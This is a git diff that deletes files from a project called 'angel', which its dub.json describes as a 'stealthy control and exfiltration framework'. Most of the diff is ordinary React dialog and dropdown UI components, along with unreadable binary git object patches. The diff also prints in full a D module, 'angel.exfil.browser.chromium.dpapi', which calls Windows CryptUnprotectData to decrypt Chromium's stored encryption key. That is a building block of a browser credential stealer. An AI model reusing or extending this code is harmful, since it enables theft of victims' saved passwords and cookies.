    -) -DialogHeader.displayName = "DialogHeader" - -const DialogFooter = ({ - className, - ...props -}: React.HTMLAttributes) => ( -
    -) -DialogFooter.displayName = "DialogFooter" - -const DialogTitle = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -DialogTitle.displayName = DialogPrimitive.Title.displayName - -const DialogDescription = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -DialogDescription.displayName = DialogPrimitive.Description.displayName - -export { - Dialog, - DialogPortal, - DialogOverlay, - DialogTrigger, - DialogClose, - DialogContent, - DialogHeader, - DialogFooter, - DialogTitle, - DialogDescription, -} diff --git a/dpapi.d b/dpapi.d deleted file mode 100644 index d03bf41..0000000 --- a/dpapi.d +++ /dev/null @@ -1,46 +0,0 @@ -module angel.exfil.browser.chromium.dpapi; - -// Internal imports -import angel.utils.logging; -// External imports -import core.sys.windows.windows; -import core.stdc.stdlib; -import std.string; - -extern(Windows) -{ - BOOL CryptUnprotectData( - const(DATA_BLOB)* pDataIn, - LPCWSTR* ppszDataDescr, - const(DATA_BLOB)* pOptionalEntropy, - void* pvReserved, - void* pPromptStruct, - uint dwFlags, - DATA_BLOB* pDataOut - ); -} - -extern(Windows) -struct DATA_BLOB -{ - uint cbData; - ubyte* pbData; -} - -ubyte[] dpapi(ubyte[] key_crypt) { - DATA_BLOB inBlob; - DATA_BLOB outBlob; - - inBlob.pbData = key_crypt.ptr; - inBlob.cbData = cast(uint) key_crypt.length; - - if (CryptUnprotectData(&inBlob, null, null, null, null, 0, &outBlob)) { - ubyte[] decrypted = cast(ubyte[])(outBlob.pbData[0 .. outBlob.cbData]).idup; - - free(outBlob.pbData); - - return decrypted; - } else { - return []; - } -} \ No newline at end of file diff --git a/dropdown-menu.tsx b/dropdown-menu.tsx deleted file mode 100644 index 8f6f44c..0000000 --- a/dropdown-menu.tsx +++ /dev/null @@ -1,203 +0,0 @@ -import * as React from "react" -import * as DropdownMenuPrimitive from "@radix-ui/react-dropdown-menu" -import { - CheckIcon, - ChevronRightIcon, - DotFilledIcon, -} from "@radix-ui/react-icons" - -import { cn } from "@/lib/utils" - -const DropdownMenu = DropdownMenuPrimitive.Root - -const DropdownMenuTrigger = DropdownMenuPrimitive.Trigger - -const DropdownMenuGroup = DropdownMenuPrimitive.Group - -const DropdownMenuPortal = DropdownMenuPrimitive.Portal - -const DropdownMenuSub = DropdownMenuPrimitive.Sub - -const DropdownMenuRadioGroup = DropdownMenuPrimitive.RadioGroup - -const DropdownMenuSubTrigger = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef & { - inset?: boolean - } ->(({ className, inset, children, ...props }, ref) => ( - - {children} - - -)) -DropdownMenuSubTrigger.displayName = - DropdownMenuPrimitive.SubTrigger.displayName - -const DropdownMenuSubContent = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -DropdownMenuSubContent.displayName = - DropdownMenuPrimitive.SubContent.displayName - -const DropdownMenuContent = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, sideOffset = 4, ...props }, ref) => ( - - - -)) -DropdownMenuContent.displayName = DropdownMenuPrimitive.Content.displayName - -const DropdownMenuItem = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef & { - inset?: boolean - } ->(({ className, inset, ...props }, ref) => ( - svg]:size-4 [&>svg]:shrink-0", - inset && "pl-8", - className - )} - {...props} - /> -)) -DropdownMenuItem.displayName = DropdownMenuPrimitive.Item.displayName - -const DropdownMenuCheckboxItem = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, children, checked, ...props }, ref) => ( - - - - - - - {children} - -)) -DropdownMenuCheckboxItem.displayName = - DropdownMenuPrimitive.CheckboxItem.displayName - -const DropdownMenuRadioItem = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, children, ...props }, ref) => ( - - - - - - - {children} - -)) -DropdownMenuRadioItem.displayName = DropdownMenuPrimitive.RadioItem.displayName - -const DropdownMenuLabel = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef & { - inset?: boolean - } ->(({ className, inset, ...props }, ref) => ( - -)) -DropdownMenuLabel.displayName = DropdownMenuPrimitive.Label.displayName - -const DropdownMenuSeparator = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -DropdownMenuSeparator.displayName = DropdownMenuPrimitive.Separator.displayName - -const DropdownMenuShortcut = ({ - className, - ...props -}: React.HTMLAttributes) => { - return ( - - ) -} -DropdownMenuShortcut.displayName = "DropdownMenuShortcut" - -export { - DropdownMenu, - DropdownMenuTrigger, - DropdownMenuContent, - DropdownMenuItem, - DropdownMenuCheckboxItem, - DropdownMenuRadioItem, - DropdownMenuLabel, - DropdownMenuSeparator, - DropdownMenuShortcut, - DropdownMenuGroup, - DropdownMenuPortal, - DropdownMenuSub, - DropdownMenuSubContent, - DropdownMenuSubTrigger, - DropdownMenuRadioGroup, -} diff --git a/dub.json b/dub.json deleted file mode 100644 index 6626088..0000000 --- a/dub.json +++ /dev/null @@ -1,12 +0,0 @@ -{ - "authors": ["3xc"], - "version": "1.0.0", - "copyright": "Copyright © 2024, 3xc", - "description": "Versatile stealthy control and exfiltration framework", - "license": "MIT", - "name": "angel", - "targetType": "executable", - "targetPath": "dist", - "sourcePaths": ["angel"], - "libs": ["crypt32"] -} diff --git a/e14e5b9b3e8bcd0924ce26a8f7968d9286e01f b/e14e5b9b3e8bcd0924ce26a8f7968d9286e01f deleted file mode 100644 index 5b1bc81166ad8807c1859d7c52c95422b64e167d7d8d17fd7eb1a09b25c6c334..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 248 zcmV5wPY|fFfcPQQP4}zEXhpI%P&f0$p5IG+7;J#ChpSp%B-7b zKkZnv$eWqkAi diff --git a/e45f7bd315f86eabf32f2c9425223417920e60 b/e45f7bd315f86eabf32f2c9425223417920e60 deleted file mode 100644 index eb1b75264ebd8cff22941ad1fbee7828b978d5f49a4c0c98ac8e59d22a8d2a2e..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 209 zcmV;?051P{0Zot1O2jY}gO}T&N561(NiR1e2R^b2BIM!Ithh+<`hgxLQadXE>vhi0 zI^b$C!!RU{DXV$~FQ}~y4{uM8w<7FJ5zL!|y>t6}j{!-x9UKshQkbA!B*12J`ycTS zeLY)h8%-`~!9EqA5jYl_aO%SZ=Dkn6bo@15oHwh#NnJgX=F_m>VB9Wwr>au;d3=5P L1XX)7U|?ckU~Cx3QB+#;vGl6;N{z${v+oz*_=>N$tS--9r`^A+@P()U L2N#Bni9+WAH#8QY diff --git a/e4c8a8572ad5e409f338a9cac4903f9d4884f0 b/e4c8a8572ad5e409f338a9cac4903f9d4884f0 deleted file mode 100644 index 2d48b5e4312bed1b5f25a7ffd8d2c5a6bc9127064bd1012c17ecb060d9ed621f..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 715 zcmV;+0yO=20V^p=O;xb4G-5C`FfcPQQAo^5Eh^C~DXw6M`s;Yn>10d^+q~T&34(Pc zuP*Pr4^vc@Sdv%-Ry9*T?9E2;mq{)A`E%A?VKI#5-~iA5=3HRUgVSIqvTde80#_eH*D>!qGi0&`(%GE$SXlkzLT z>V6moD_xn!di0S`aEQTW=XtNq4hF;2<>%xi78GYD<)ng@F0!lA5NdzeEn}=Q!&5r@ zOmCld0bFTrZekw9<^@VI-agkD{ZE+{)I3x7nPC21;Wb=YUP)?2iEeIcUMbkf^RfE* zu5248ZD`_3FMI5};HzchN~qeD%*34hbg-&eF;n^FZ|4~JrCIpi{3uz*8Pj$Orm85v zASJ&%4`JjqPH*MJC8@8n^c0?4y8cLeI#DiNP;7trt42Qc(A#@9znyvf|W&#G=HK ze2Bu_dLgyw1;*_xAA~3KJh`e97F2r?rZ6Kl72>kw`G59_itY*6!rW#MDX+N4gEztq zrYJKdH3^!SnizPQ4;o&UYC5v)W%atx7ymt6m<&^votl#hOHS9H#8+Py{gJo&v%bz0 zRV5SgNqh-VbtQ?g$UksDHHQ0B)<=hz6}cRLHJ=OQFav9$67I#B$Q#{!d@hlXdV& xzUs0o8F$^}(oVyb<>!=S7J#i(?3FP6KH-H|@&4P7{@vYpSLC$GY5>_KV0@&kY_tFX diff --git a/e5908502d3c4f8959edc0ceb2412bf68bd06bf b/e5908502d3c4f8959edc0ceb2412bf68bd06bf deleted file mode 100644 index 3f02a3afa1ec2fb0258383f74237d89a48ae769ed8f5017606b287ba68d85fce..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 648 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 